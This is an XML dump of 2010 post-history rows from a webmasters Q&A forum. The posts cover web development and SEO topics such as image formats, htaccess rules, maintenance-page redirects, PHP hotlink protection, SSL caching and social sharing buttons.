  <row Id="8877" PostHistoryTypeId="2" PostId="4482" RevisionGUID="f3458845-875d-46c2-b060-de3547851098" CreationDate="2010-10-27T18:44:26.957" UserId="2209" Text="The error I see right off the bat is that you are trying to use the FBML tags (Example, fb:like). They can only be used within a Facebook application.&#xD;&#xA;&#xD;&#xA;Try this... http://developers.facebook.com/docs/reference/plugins/like" />
  <row Id="8878" PostHistoryTypeId="2" PostId="4483" RevisionGUID="082810c6-8db2-4e29-91f8-a56c8a3450b3" CreationDate="2010-10-27T19:04:45.143" UserId="2209" Text="A way I have done it in the past was, within your css file set your background color to a solid color (example, #FFF). Create an gradient image that fades from red (top) to white (bottom), with a width of 8px and a height of 800px. Go back to your css file and add a background image attribute and point it to the gradient image you just created and set it to repeat horizontally.&#xD;&#xA;&#xD;&#xA;Now if someone has a screen resolution greater than 800 it will not matter because the white bottom of the image will fade in perfectly with the white background color you set." />
  <row Id="8879" PostHistoryTypeId="2" PostId="4484" RevisionGUID="1063b0d8-1ba5-4744-b220-6eaee821fe7a" CreationDate="2010-10-27T19:22:04.503" UserDisplayName="Cosmin" Text="Is there a method of adding websites in bulk to google webmaster tools?&#xD;&#xA;&#xD;&#xA;My host username and password were hacked and all of my sites were injected with malicious scripts. I've cleaned everything up but the sites were d-listed and no longer show up in google search. I need to request reviews for ~150 sites but first I need to add them all to the webmaster tools.&#xD;&#xA;&#xD;&#xA;Any non-tedious way of doing this?" />
  <row Id="8880" PostHistoryTypeId="1" PostId="4484" RevisionGUID="1063b0d8-1ba5-4744-b220-6eaee821fe7a" CreationDate="2010-10-27T19:22:04.503" UserDisplayName="Cosmin" Text="Adding pages to google webmaster tools by the bulk." />
  <row Id="8881" PostHistoryTypeId="3" PostId="4484" RevisionGUID="1063b0d8-1ba5-4744-b220-6eaee821fe7a" CreationDate="2010-10-27T19:22:04.503" UserDisplayName="Cosmin" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="8882" PostHistoryTypeId="2" PostId="4485" RevisionGUID="a74fe74f-8b52-48ef-b185-58a10b563967" CreationDate="2010-10-27T19:34:15.137" UserId="1407" Text="I've been asked to investigate why the images on a particular site cannot be viewed in IE (6/7 and 8, multiple machines) but is visible in all other browsers. I've verified that it has nothing to do with the site itself by downloading the image and placing it as an image in a local HTML file, with the same result. Accessing the url directly in the address bar in IE again does not display the image, only the little red X.&#xD;&#xA;&#xD;&#xA;Here's the image:&#xD;&#xA;![why doesn't it show in IE?][1]&#xD;&#xA;&#xD;&#xA;Why would all other browsers show this image except IE? What can I do to get the image to work in IE?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/qxJJa.gif" />
  <row Id="8883" PostHistoryTypeId="1" PostId="4485" RevisionGUID="a74fe74f-8b52-48ef-b185-58a10b563967" CreationDate="2010-10-27T19:34:15.137" UserId="1407" Text="Is there any reason why a GIF image would show in FF/Chrome and not IE?" />
  <row Id="8884" PostHistoryTypeId="3" PostId="4485" RevisionGUID="a74fe74f-8b52-48ef-b185-58a10b563967" CreationDate="2010-10-27T19:34:15.137" UserId="1407" Text="&lt;web-development&gt;&lt;images&gt;" />
  <row Id="8886" PostHistoryTypeId="2" PostId="4487" RevisionGUID="0ce10048-b19e-483f-bf0c-f07a50324476" CreationDate="2010-10-27T19:49:25.557" UserId="2209" Text="I ran into this issue before and the problem was related to the image color mode. If the color mode of the image in CMYK, then IE can not display it properly. The preferred color mode is RGB." />
  <row Id="8888" PostHistoryTypeId="5" PostId="4487" RevisionGUID="41744762-9415-4cfb-8b13-ee91b2e9ca9b" CreationDate="2010-10-27T19:54:28.067" UserId="2209" Comment="edited body" Text="I ran into this issue before and the problem was related to the image color mode. If the color mode of the image is CMYK, then IE can not display it properly. The preferred color mode is RGB." />
  <row Id="8889" PostHistoryTypeId="2" PostId="4488" RevisionGUID="2f5c3695-c4e7-4686-ad9c-563aabf00429" CreationDate="2010-10-27T20:01:26.093" UserId="1079" Text="I'm working on a website which will use images in several different applications, from action buttons to avatars to larger detail images. What factors should I take into consideration to decide whether these images should be jpgs, gifs, or pngs?" />
  <row Id="8890" PostHistoryTypeId="1" PostId="4488" RevisionGUID="2f5c3695-c4e7-4686-ad9c-563aabf00429" CreationDate="2010-10-27T20:01:26.093" UserId="1079" Text="How do I know what image type to use?" />
  <row Id="8891" PostHistoryTypeId="3" PostId="4488" RevisionGUID="2f5c3695-c4e7-4686-ad9c-563aabf00429" CreationDate="2010-10-27T20:01:26.093" UserId="1079" Text="&lt;images&gt;" />
  <row Id="8892" PostHistoryTypeId="2" PostId="4489" RevisionGUID="e156275c-abd2-46a0-8866-003622367e9a" CreationDate="2010-10-27T20:05:53.337" UserId="2313" Text="You can make a short [iMacros][1] macro that reads the URL [from a CSV][2] file. Then run the macro in a [loop][3] 150 times.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iopus.com/imacros/firefox/&#xD;&#xA;  [2]: http://wiki.imacros.net/Form_Filling#Data_Input&#xD;&#xA;  [3]: http://wiki.imacros.net/Browser_Automation#Play_.28Loop.29_Button" />
  <row Id="8893" PostHistoryTypeId="2" PostId="4490" RevisionGUID="1577014f-93b7-4239-b726-90f8116db716" CreationDate="2010-10-27T20:08:28.770" UserId="18" Text="With all the talk about [FireSheep][1] I am thinking of switching my web applications to use full https accross the entire site. However, I am concerned about caching. I use a lot of JavaScript, CSS files, images, and other static content that I expect the browser to cache. If it doesn't that could mean significant delays for users.&#xD;&#xA;&#xD;&#xA;Is there a way to get browsers to cache static content served via SSL? Will the `cache-control: public` HTTP header help? How do the different browsers handle this? Do they never cache the data? Do they cache for a single browser session?&#xD;&#xA;&#xD;&#xA;I don't want to serve the static content from an unsecured connection if that means some browsers will put up the warning that some resources are not secure. Is there an alternative solution?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codebutler.com/firesheep" />
  <row Id="8894" PostHistoryTypeId="1" PostId="4490" RevisionGUID="1577014f-93b7-4239-b726-90f8116db716" CreationDate="2010-10-27T20:08:28.770" UserId="18" Text="Can I expect browsers to cache static content served over SSL encryption?" />
  <row Id="8895" PostHistoryTypeId="3" PostId="4490" RevisionGUID="1577014f-93b7-4239-b726-90f8116db716" CreationDate="2010-10-27T20:08:28.770" UserId="18" Text="&lt;ssl&gt;&lt;browsers&gt;&lt;cache&gt;&lt;static-content&gt;&lt;cache-control&gt;" />
  <row Id="8896" PostHistoryTypeId="2" PostId="4491" RevisionGUID="8e0883a4-e646-47b0-9e57-ff7e23b55c0b" CreationDate="2010-10-27T20:10:00.157" UserId="1253" Text="File size. The smaller the file size the faster it will download for your users. So go for the smallest file size that doesn't affect your image quality. &#xD;&#xA;&#xD;&#xA;(Generally speaking JPGs are used for photographs and PNGs/GIFs are used for icon-like images)" />
  <row Id="8897" PostHistoryTypeId="2" PostId="4492" RevisionGUID="729b6b0f-cb46-4b59-b9a9-6090b44c2b86" CreationDate="2010-10-27T20:11:22.247" UserId="1253" Text="[This stackoverflow answer][1] tells you everything you need to know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/174348/will-web-browsers-cache-content-over-https" />
  <row Id="8898" PostHistoryTypeId="2" PostId="4493" RevisionGUID="c40981cc-9139-4360-b6ed-6582ea74654f" CreationDate="2010-10-27T20:12:24.460" UserId="2209" Text="**Browser Support**. I think it's IE6 or IE7 and older do not support png based images with a transparent background properly. It usually adds some funky background color." />
  <row Id="8900" PostHistoryTypeId="2" PostId="4494" RevisionGUID="aaf7d214-8c16-47d0-8294-633933db82de" CreationDate="2010-10-27T21:13:12.713" UserId="2313" Text="Download a free trial of any web editor ;)&#xD;&#xA;&#xD;&#xA;E. g. Dreamweaver or Microsoft Expression Web" />
  <row Id="8901" PostHistoryTypeId="2" PostId="4495" RevisionGUID="e1451b90-1c45-40b8-a373-cf2f6485cd83" CreationDate="2010-10-27T21:26:12.677" UserId="2044" Text="I have been hosting in a server from last 2 years. I am planning to change the hosting server. Before i change the hosting server i would like to know whether it affects my page ranking or not?" />
  <row Id="8902" PostHistoryTypeId="1" PostId="4495" RevisionGUID="e1451b90-1c45-40b8-a373-cf2f6485cd83" CreationDate="2010-10-27T21:26:12.677" UserId="2044" Text="Does changing web hosting server affects SEO page ranking?" />
  <row Id="8903" PostHistoryTypeId="3" PostId="4495" RevisionGUID="e1451b90-1c45-40b8-a373-cf2f6485cd83" CreationDate="2010-10-27T21:26:12.677" UserId="2044" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;pagerank&gt;" />
  <row Id="8904" PostHistoryTypeId="2" PostId="4496" RevisionGUID="cf9356d7-3ad6-44f7-a95b-15e1033b16cd" CreationDate="2010-10-27T22:47:44.717" UserId="1253" Text="No. And why should it? Your hosting has nothing to do with the quality or relevancy of your content. *&#xD;&#xA;&#xD;&#xA;Just try to minimize downtime and avoid if possible. A seamless transition is ideal.&#xD;&#xA;&#xD;&#xA;* Really slow loading webpages may cause google to lower your page rankings but you have to be in the bottom 1% or so for this to happen. So as long as your host isn't poor you will be fine." />
  <row Id="8905" PostHistoryTypeId="5" PostId="4496" RevisionGUID="93d1da55-51e9-468c-ab41-10f6979d54e1" CreationDate="2010-10-27T23:02:00.600" UserId="1253" Comment="added 5 characters in body" Text="No. And why should it? Your hosting has nothing to do with the quality or relevancy of your content. (1)&#xD;&#xA;&#xD;&#xA;Just try to minimize downtime and avoid if possible. A seamless transition is ideal.&#xD;&#xA;&#xD;&#xA; (1) Really slow loading webpages may cause google to lower your page rankings but you have to be in the bottom 1% or so for this to happen. So as long as your host isn't poor you will be fine." />
  <row Id="8906" PostHistoryTypeId="2" PostId="4497" RevisionGUID="1646749c-d94c-4504-8c1e-41120af4cf57" CreationDate="2010-10-26T12:26:30.523" UserDisplayName="dev" Text="How to set default message, I am using addthis button for invite a friend Email on a website. that default message should also work if user choose gmail, yahoo etc from addthis box." />
  <row Id="8907" PostHistoryTypeId="1" PostId="4497" RevisionGUID="1646749c-d94c-4504-8c1e-41120af4cf57" CreationDate="2010-10-26T12:26:30.523" UserDisplayName="dev" Text="addthis button default message" />
  <row Id="8908" PostHistoryTypeId="3" PostId="4497" RevisionGUID="1646749c-d94c-4504-8c1e-41120af4cf57" CreationDate="2010-10-26T12:26:30.523" UserDisplayName="dev" Text="&lt;addthis&gt;" />
  <row Id="8909" PostHistoryTypeId="17" PostId="4497" RevisionGUID="178b9343-4ebc-41a0-87a5-8fba54425561" CreationDate="2010-10-28T00:46:43.730" UserId="-1" Comment="from http://stackoverflow.com/questions/4023621/addthis-button-default-message" Text="" />
  <row Id="8910" PostHistoryTypeId="2" PostId="4498" RevisionGUID="9de9d6ec-554d-4692-884e-4febdb6ac7eb" CreationDate="2010-10-28T00:50:01.933" UserId="2699" Text="As I expand on different website changes I'm trying to find a better and safer alternative to my current testing.domain.com and FTP solution. My goal is to put the site in revision control (probably Git due to its excellent branching and tagging ability) and still be able to view my dynamic site (PHP) in real time along with clients.&#xD;&#xA;&#xD;&#xA;So for some questions&#xD;&#xA;&#xD;&#xA; 1. Is there any free or very cheap software that does this already? I don't want to reinvent the wheel.&#xD;&#xA; 2. What would be the best way to implement version control in this setup? Use the testing folders on the server as a git repo? Sync the dev and local copies and use local as a repository? Do I make the whole site (production and dev) a repository?&#xD;&#xA; 3. How can I sync dev and production? " />
  <row Id="8911" PostHistoryTypeId="1" PostId="4498" RevisionGUID="9de9d6ec-554d-4692-884e-4febdb6ac7eb" CreationDate="2010-10-28T00:50:01.933" UserId="2699" Text="Whats the best way to create/handle a dev server?" />
  <row Id="8912" PostHistoryTypeId="3" PostId="4498" RevisionGUID="9de9d6ec-554d-4692-884e-4febdb6ac7eb" CreationDate="2010-10-28T00:50:01.933" UserId="2699" Text="&lt;development&gt;" />
  <row Id="8913" PostHistoryTypeId="5" PostId="4450" RevisionGUID="b633d84e-137e-42cf-a4af-07330dbbcddd" CreationDate="2010-10-28T01:15:13.987" UserId="2228" Comment="added 379 characters in body" Text="You can round an image with CSS, but it wouldn't give you a benefit because you are only masking sections of the image. The bytes that are hidden are still there and they still have to be transferred to the user's browser, so you don't have a bandwidth benefit even if it is a transparent PNG.&#xD;&#xA;&#xD;&#xA;Furthermore, you will be hurting your self (ever so little) because in your style sheet, the code you'll have to write to perform the effect will actually add overhead to your style sheet. Thus you will actually be adding more data to be transferred to the browser and increasing your bandwidth usage.&#xD;&#xA;&#xD;&#xA;Option 2 in your question is more appropriate when dealing with images. As far as why the rounded corners was added to CSS, it has nothing to do with images and programmers [sucking with PS...]. Some of the uses you may see are someone trying to replicate the roundness of the Apple input fields/buttons on their page. Or another example would be `div`'s that need to act as panels or modals.&#xD;&#xA;&#xD;&#xA;Really, there's no defined usage, it's just a matter of convenience on whatever you're working with.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;The CSS needed to round an object across all browsers that support rounding:&#xD;&#xA;&#xD;&#xA;    -moz-border-radius: ?px;&#xD;&#xA;    -webkit-border-radius: ?px;&#xD;&#xA;    border-radius: ?px;&#xD;&#xA;&#xD;&#xA;`border-radius` has to be last because that is the proper property by specification. For more details, please go [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/css/-moz-border-radius" />
  <row Id="8914" PostHistoryTypeId="6" PostId="4498" RevisionGUID="f98d8d19-72ec-4cd1-8435-1f19d5d77547" CreationDate="2010-10-28T02:22:51.650" UserId="1757" Comment="edited tags" Text="&lt;development&gt;&lt;git&gt;" />
  <row Id="8915" PostHistoryTypeId="2" PostId="4499" RevisionGUID="5491109a-c8b4-40ac-a4a8-0950f65eec68" CreationDate="2010-10-28T02:24:00.277" UserId="1064" Text="In a similar vein as John Conde's suggestion (though picking up on a few things I've noticed) you can also expect problems when switching hosts if your new host has security issues.&#xD;&#xA;&#xD;&#xA;If you share an Apache server with malicious users, you may find some problems including malicious content *apparently hosted* under your domain if your host has not disabled features like Apache's [mod_userdir][1] (it doesn't help to be recognized as a phishing or malware site)&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/mod_userdir.html" />
  <row Id="8916" PostHistoryTypeId="2" PostId="4500" RevisionGUID="2ff2f95c-0a69-46cd-b950-9a6787baf2a1" CreationDate="2010-10-28T02:44:22.017" UserId="1757" Text="[Another question][1] someone posted got me thinking, what are the social media integration solutions that everyone uses? The most common solutions I've come across are the content-sharing buttons:&#xD;&#xA;&#xD;&#xA; - [ShareThis][2]&#xD;&#xA; - [AddThis][3]&#xD;&#xA; - [AddToAny][4]&#xD;&#xA;&#xD;&#xA;How many of you use these or other social media integration solutions? Or do you just create your own sharing buttons? What advantages are there to using these 3rd-party solutions versus creating your own buttons using Facebook/Del.icio.us/Digg/etc.'s code?&#xD;&#xA;&#xD;&#xA;Another solution I've been coming across more and more, and that I really dislike, are those [fixed social media toolbars][5] that many sites put at the bottom of your screen. They stick out like a sore thumb and take up valuable screen real-estate and just look very tacky IMO. How many people use those, and what advantage do you see to using those branded social sharing toolbars?&#xD;&#xA;&#xD;&#xA;Are there any other solutions out there that you guys would recommend?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4497/addthis-button-default-message&#xD;&#xA;  [2]: http://sharethis.com/&#xD;&#xA;  [3]: http://addthis.com&#xD;&#xA;  [4]: http://www.addtoany.com&#xD;&#xA;  [5]: http://www.wibiya.com/" />
  <row Id="8917" PostHistoryTypeId="1" PostId="4500" RevisionGUID="2ff2f95c-0a69-46cd-b950-9a6787baf2a1" CreationDate="2010-10-28T02:44:22.017" UserId="1757" Text="Social media integration solutions" />
  <row Id="8918" PostHistoryTypeId="3" PostId="4500" RevisionGUID="2ff2f95c-0a69-46cd-b950-9a6787baf2a1" CreationDate="2010-10-28T02:44:22.017" UserId="1757" Text="&lt;social-media&gt;" />
  <row Id="8919" PostHistoryTypeId="2" PostId="4501" RevisionGUID="f74a705e-fd2a-42dd-b6a1-2c7f77e1a185" CreationDate="2010-10-28T02:47:15.460" UserId="1064" Text="If you're running Linux, you might consider the following process:&#xD;&#xA;&#xD;&#xA;1. Download the site recursively with `wget -r http://site.com/`&#xD;&#xA;&#xD;&#xA;2. Parse out all of the HTML tags with `find ./ -name \*.html -exec sed 's/&lt;[^&gt;]\*&gt;//g' {} &gt; /var/tmp/all_words.txt \;`&#xD;&#xA;&#xD;&#xA;3. Spellcheck the result with `spell /var/tmp/all_words.txt` (note that in-page Javascript and CSS declarations may be included here - use `egrep` to filter undesired words)&#xD;&#xA;&#xD;&#xA;4. Review the &quot;misspelled words&quot; list and find/replace in the original directory structure as appropriate&#xD;&#xA;&#xD;&#xA;5. Upload revised static content back to site" />
  <row Id="8920" PostHistoryTypeId="2" PostId="4502" RevisionGUID="ad525b1e-b096-4c8b-ac10-fbdd3051ce93" CreationDate="2010-10-28T02:48:03.483" UserId="1206" Text="A few years ago, I purchased a .org domain. Presumably, the .com version was taken by a domain squatter because it was registered the day after I registered it and it only hosts one of those typical ad pages.&#xD;&#xA;&#xD;&#xA;I recently decided that I want the .com version as well if it's cheap, and I'd like to know: What price do they typically charge, and are there any ways to get them to lower this price? " />
  <row Id="8921" PostHistoryTypeId="1" PostId="4502" RevisionGUID="ad525b1e-b096-4c8b-ac10-fbdd3051ce93" CreationDate="2010-10-28T02:48:03.483" UserId="1206" Text="Purchasing a Domain from a Domain Squatter" />
  <row Id="8922" PostHistoryTypeId="3" PostId="4502" RevisionGUID="ad525b1e-b096-4c8b-ac10-fbdd3051ce93" CreationDate="2010-10-28T02:48:03.483" UserId="1206" Text="&lt;domains&gt;" />
  <row Id="8923" PostHistoryTypeId="2" PostId="4503" RevisionGUID="231f22cf-5c15-468d-8222-d6a6a7e5bbe3" CreationDate="2010-10-28T02:49:16.137" UserId="1762" Text="Let's say that theoretically you run a ecommerce shop. There may be times, once a year, that you need to take the site down to update product information or to do some maintenance.&#xD;&#xA;&#xD;&#xA;What would happen to your page rankings? I would assume that we would direct any page hit to the maintenance page." />
  <row Id="8924" PostHistoryTypeId="1" PostId="4503" RevisionGUID="231f22cf-5c15-468d-8222-d6a6a7e5bbe3" CreationDate="2010-10-28T02:49:16.137" UserId="1762" Text="Will &quot;performing maintenance&quot; page holder affect your seo and page rankings? If so, is there a better way to handle it?" />
  <row Id="8925" PostHistoryTypeId="3" PostId="4503" RevisionGUID="231f22cf-5c15-468d-8222-d6a6a7e5bbe3" CreationDate="2010-10-28T02:49:16.137" UserId="1762" Text="&lt;seo&gt;" />
  <row Id="8926" PostHistoryTypeId="2" PostId="4504" RevisionGUID="5e13094c-fb37-4e41-9821-0cc10beef408" CreationDate="2010-10-28T03:30:45.857" UserId="2026" Text="In my htaccess file, i am using below lines &#xD;&#xA;&#xD;&#xA;    Options All -Indexes&#xD;&#xA;    Errordocument 403 http://article-stack.com/&#xD;&#xA;    ErrorDocument 401 http://article-stack.com/&#xD;&#xA;    ErrorDocument 403 http://article-stack.com/&#xD;&#xA;    ErrorDocument 404 http://article-stack.com/&#xD;&#xA;    ErrorDocument 500 http://article-stack.com/&#xD;&#xA;    &#xD;&#xA;    &lt;files .htaccess&gt;&#xD;&#xA;    order allow,deny&#xD;&#xA;    deny from all&#xD;&#xA;    Satisfy All&#xD;&#xA;    &lt;/files&gt;&#xD;&#xA;&#xD;&#xA;If i access some PHP inside my theme folder then it is working perfectly. But a php file in plugins folder with same permission is not accessible as i think so. Because my plugin on one [article][1] is not able to display images. When i copy the path of image and put it into browser directly, it is redirecting me to 404 page. If i run the same script from my theme folder then it is working perfectly.&#xD;&#xA;&#xD;&#xA;It is also working fine from localhost even from plugins folder. There must be some problem with htaccess file only. But not able to guess what.&#xD;&#xA;&#xD;&#xA;  [1]: http://article-stack.com/other/amty-thumb-recent-is-now-amty-thumb-posts.amty" />
  <row Id="8927" PostHistoryTypeId="1" PostId="4504" RevisionGUID="5e13094c-fb37-4e41-9821-0cc10beef408" CreationDate="2010-10-28T03:30:45.857" UserId="2026" Text="some problem with htaccess" />
  <row Id="8928" PostHistoryTypeId="3" PostId="4504" RevisionGUID="5e13094c-fb37-4e41-9821-0cc10beef408" CreationDate="2010-10-28T03:30:45.857" UserId="2026" Text="&lt;htaccess&gt;" />
  <row Id="8929" PostHistoryTypeId="2" PostId="4505" RevisionGUID="e606c421-4345-4f80-97ea-61b5504203ee" CreationDate="2010-10-28T03:48:33.557" UserId="1064" Text="Here's how I've managed this in the past w/Apache (with no apparent change to ranking):&#xD;&#xA;&#xD;&#xA;**1.** Create a maintenance page with a defined open/close for the maintenance window - make the maintenance window about twice the amount of time you anticipate maintenance to last so you can roll-back if necessary&#xD;&#xA;&#xD;&#xA;**2.** Rewrite rule to direct traffic to maintenance page:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !^1\.2\.3\.4&#xD;&#xA;    RewriteCond %{REQUEST_URI} !maintenance\.html$&#xD;&#xA;    RewriteRule .* /maintenance.html [L,R=307]&#xD;&#xA;&#xD;&#xA;(Where `1\.2\.3\.4` is a regexp for your IP)&#xD;&#xA;&#xD;&#xA;**3.** Complete maintenance and testing, comment out rewrite directives&#xD;&#xA;&#xD;&#xA;The [307 Temporary][1] redirect is, to the best of my knowledge, the proper response header for a maintenance situation, I've never seen any problems with maintenance lasting 1-3 hours on moderately busy sites (i.e. 100-500 users/hour).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.8" />
  <row Id="8930" PostHistoryTypeId="2" PostId="4506" RevisionGUID="4f58ea74-3148-48c4-b5a9-d3c30a8a7dc9" CreationDate="2010-10-28T04:12:59.347" UserId="2026" Text="As i read somewhere about hot linking of images. It helps to stop stealing bandwidth of your site in case of images. Would it work for php file?&#xD;&#xA;&#xD;&#xA;In my case,  i am using a php file to generate thumbnails from an image. I dont want others to refer this php file from their site.&#xD;&#xA;&#xD;&#xA;How can i do it? " />
  <row Id="8931" PostHistoryTypeId="1" PostId="4506" RevisionGUID="4f58ea74-3148-48c4-b5a9-d3c30a8a7dc9" CreationDate="2010-10-28T04:12:59.347" UserId="2026" Text="how to stop accessing of a php file from other site" />
  <row Id="8932" PostHistoryTypeId="3" PostId="4506" RevisionGUID="4f58ea74-3148-48c4-b5a9-d3c30a8a7dc9" CreationDate="2010-10-28T04:12:59.347" UserId="2026" Text="&lt;htaccess&gt;" />
  <row Id="8933" PostHistoryTypeId="2" PostId="4507" RevisionGUID="a1559ffd-004e-41a9-b88c-06c8f302fe61" CreationDate="2010-10-28T04:27:28.097" UserId="1079" Text="The programmatic way is to check the referrer to make sure the request came from your site:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $yoursite = &quot;yoursite.com&quot;; //Your site url without http://&#xD;&#xA;    $yoursite2 = &quot;www.yoursite.com&quot;; //Type your domain with www. this time&#xD;&#xA;    &#xD;&#xA;    $referer = $_SERVER['HTTP_REFERER'];&#xD;&#xA;    &#xD;&#xA;    //Check if browser sends referrer url or not&#xD;&#xA;    if ($referer == &quot;&quot;) { //If not, set referrer as your domain&#xD;&#xA;    $domain = $yoursite;&#xD;&#xA;    } else {&#xD;&#xA;    $domain = parse_url($referer); //If yes, parse referrer&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    if($domain['host'] == $yoursite || $domain['host'] == $yoursite2) {&#xD;&#xA;    &#xD;&#xA;    //Run your image generation code&#xD;&#xA;    &#xD;&#xA;    } else {&#xD;&#xA;    &#xD;&#xA;    //The referrer is not your site, we redirect to your home page&#xD;&#xA;    header(&quot;Location: http://yoursite.com&quot;);&#xD;&#xA;    exit(); //Stop running the script&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ?&gt; &#xD;&#xA;&#xD;&#xA;Source: http://www.knowledgesutra.com/forums/topic/40295-check-referrer-to-prevent-linking-yours-from-other-sites/" />
  <row Id="8934" PostHistoryTypeId="2" PostId="4508" RevisionGUID="b847ce2d-5c3e-4cb7-a924-0d71e4c1089f" CreationDate="2010-10-28T04:37:42.107" UserId="576" Text="As long as your domain name **and hosting country stay the same**, switching from one reliable host to another should have no SEO impact. See question 4 in this [Seomoz article link][1]&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/matt-cutts-movie-marathon" />
  <row Id="8935" PostHistoryTypeId="5" PostId="4507" RevisionGUID="2675b235-e03e-42e5-afcd-e93c23eb2d22" CreationDate="2010-10-28T04:42:25.847" UserId="1079" Comment="Added 2nd alternative" Text="One programmatic way is to check the referrer to make sure the request came from your site:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $yoursite = &quot;yoursite.com&quot;; //Your site url without http://&#xD;&#xA;    $yoursite2 = &quot;www.yoursite.com&quot;; //Type your domain with www. this time&#xD;&#xA;    &#xD;&#xA;    $referer = $_SERVER['HTTP_REFERER'];&#xD;&#xA;    &#xD;&#xA;    //Check if browser sends referrer url or not&#xD;&#xA;    if ($referer == &quot;&quot;) { //If not, set referrer as your domain&#xD;&#xA;    $domain = $yoursite;&#xD;&#xA;    } else {&#xD;&#xA;    $domain = parse_url($referer); //If yes, parse referrer&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    if($domain['host'] == $yoursite || $domain['host'] == $yoursite2) {&#xD;&#xA;    &#xD;&#xA;    //Run your image generation code&#xD;&#xA;    &#xD;&#xA;    } else {&#xD;&#xA;    &#xD;&#xA;    //The referrer is not your site, we redirect to your home page&#xD;&#xA;    header(&quot;Location: http://yoursite.com&quot;);&#xD;&#xA;    exit(); //Stop running the script&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ?&gt; &#xD;&#xA;&#xD;&#xA;Source: http://www.knowledgesutra.com/forums/topic/40295-check-referrer-to-prevent-linking-yours-from-other-sites/&#xD;&#xA;&#xD;&#xA;**Edit**  &#xD;&#xA;[This article][1] presents an alternate method using PHP sessions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.htmlcenter.com/blog/hotlink-protection-with-php/" />
  <row Id="8936" PostHistoryTypeId="2" PostId="4509" RevisionGUID="aa9f051b-afd6-4daf-ad2a-9589c4599a6a" CreationDate="2010-10-28T04:44:07.683" UserId="576" Text="Check [this comparison of free Web Analytics tools][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getclicky.com/#theotherguys" />
  <row Id="8937" PostHistoryTypeId="2" PostId="4510" RevisionGUID="1e9d2b61-c4cb-45e3-8447-f594f6771822" CreationDate="2010-10-28T05:05:22.400" UserId="1218" Text="We used to use [AddThis][1] on sites, and we liked the fact that it was easy to implement and offered everything (a couple of years back the market was more fragmented, before Facebook and Twitter dominated).&#xD;&#xA;&#xD;&#xA;However, the stats were very disappointing, and we put this down to the fact that people were less likely to interact with a widget that they didn't instantly recognise as linking directly to their preferred social widget.&#xD;&#xA;&#xD;&#xA;We therefore moved to dedicated buttons (specifically for Facebook, Twitter, YouTube, and Flickr). The usage was several orders of magnitude higher.&#xD;&#xA;&#xD;&#xA;In terms of ease of use, most social networking sites make it incredibly easy to add these buttons to sites, so the advantages of services like AddThis are reduced.&#xD;&#xA;&#xD;&#xA;I agree, some of the bars that sit at the bottom of the screen are just irritating noise. Hopefully they will go away soon.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://addthis.com/" />
  <row Id="8938" PostHistoryTypeId="2" PostId="4511" RevisionGUID="95b2157b-bfda-454d-9b11-46147627bb0c" CreationDate="2010-10-28T07:21:07.377" UserId="2754" Text="I might be misunderstanding the concept completely, but here's the question: when I try to add a blog's feeds (the blog is hosted at Blogspot, so it provides both Atom and RSS) to FeedBurner, it suggests to choose *one* of the feed formats. Is it possible to track subscribers of both the both feed formats? Thanks." />
  <row Id="8939" PostHistoryTypeId="1" PostId="4511" RevisionGUID="95b2157b-bfda-454d-9b11-46147627bb0c" CreationDate="2010-10-28T07:21:07.377" UserId="2754" Text="Using Feedburner with both RSS and Atom feeds" />
  <row Id="8940" PostHistoryTypeId="3" PostId="4511" RevisionGUID="95b2157b-bfda-454d-9b11-46147627bb0c" CreationDate="2010-10-28T07:21:07.377" UserId="2754" Text="&lt;analytics&gt;&lt;rss&gt;&lt;feeds&gt;" />
  <row Id="8941" PostHistoryTypeId="2" PostId="4512" RevisionGUID="9fb9d4c7-19d4-4dc2-8deb-49d5ecef1cc6" CreationDate="2010-10-28T07:46:11.557" UserId="1064" Text="FeedBurner takes your source feed and populates RSS *and* ATOM feeds on its own site.&#xD;&#xA;&#xD;&#xA;Try adding `?format=atom` to the end of an existing RSS feed hosted at FeedBurner for an example." />
